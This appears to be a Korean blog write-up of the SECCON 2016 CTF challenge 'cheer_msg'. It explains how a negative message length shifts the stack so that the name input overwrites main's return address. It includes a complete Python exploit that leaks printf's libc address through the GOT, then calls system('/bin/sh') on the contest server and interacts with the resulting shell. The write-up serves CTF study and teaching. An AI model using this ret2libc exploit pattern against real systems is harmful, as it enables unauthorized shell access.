본문 바로가기

ctf

[SECCON 2016 CTF] cheer_msg

# file

cheer_msg: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=ed63cb3a04480eeb344d7d567c893805a1119f2f, not stripped

해당 바이너리는 실행했을 때 message 의 길이와 해당 길이만큼의 message, name 을 입력을 받고, name 과 message를 출력하는 프로그램이다.

 

getint 에서는 우리가 입력한 message_len 값을 받아온다. 그리고 어떤 연산을 거친 후 그 결과값만큼 스택에 공간을 할당한다.

이 연산에 message_len 값을 이용하고 있기 때문에 이 부분을 잘 이용한다면 공간 할당 과정에서 message 함수가 호출 됫을 때 ebp 위치를 control 할 수 있다.

 

message 함수 내에 2번째 getnline() 호출 부분이다. name을 입력받을 때 ebp-4c 의 주소를 eax 에 담고 있다.

즉, main() 의 ebp+4(ret) 주소로 조작한다면 name을 입력받을 때 main 함수의 ret 주소을 덮어쓸 수 있게되고 우리가 원하는 어떤 것을 할 수 있게 된다.

 

- - - - - - - - - - - - - - - - - - - - - - - - - - -exploit.py - - - - - - - - - - - - - - - - - - - - - - - - - - - -

from struct import *

from socket import *

from telnetlib import *

import time

 

p = lambda x : pack("<L", x)

up = lambda x : pack("<L", x)[0]

 

printf_plt = 0x08048430

printf_got = 0x0804a010

main = 0x080485ca

 

printf_offset = 0x4d410

system_offset = 0x40310

binsh_offset = 0x16084c

 

s = socket(AF_INET, SOCK_STREAM)

s.connect(('checkmsg.pwn.seccon.jp', 30527))

 

payload = p(printf_plt) + p(main) + p(printf_got)

 

print s.recv(1024)

time.sleep(0.3)

 

s.send("-150\n")

time.sleep(0.3)

print s.recv(1024)

 

s.send(payload + "\n")

time.sleep(1)

 

data = s.recv(1024)

 

# leak printf@got 

printf_libc = up(data[36:40])

print "[*] printf_libc = " + hex(printf_libc)

 

system_libc = printf_libc - printf_offset + system_offset

print "[*] system_libc = " + hex(system_libc)

 

binsh_addr = printf_libc - printf_offset + binsh_offset

print "[*] binsh_addr = " + hex(binsh_addr)

 

r_payload = p(system_libc) + "AAAA" + p(binsh_addr)

 

print data

time.sleep(0.3)

 

s.send("-150\n")

time.sleep(1)

print s.recv(1024)

 

s.send(r_payload + "\n")

 

t = Telnet()

t.sock = s

t.interact() 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

'ctf' 카테고리의 다른 글

[HolyShield 2016 CTF] pwnit  (0) 2016.12.19
[CodeGate 2016 CTF] Watermelon  (0) 2016.12.14
[CodeGate 2015 CTF] bookstore  (0) 2016.11.14
[CodeGate 2015 CTF] systemshock  (0) 2016.07.30
[CodeGate 2015 CTF] yocto  (0) 2016.07.06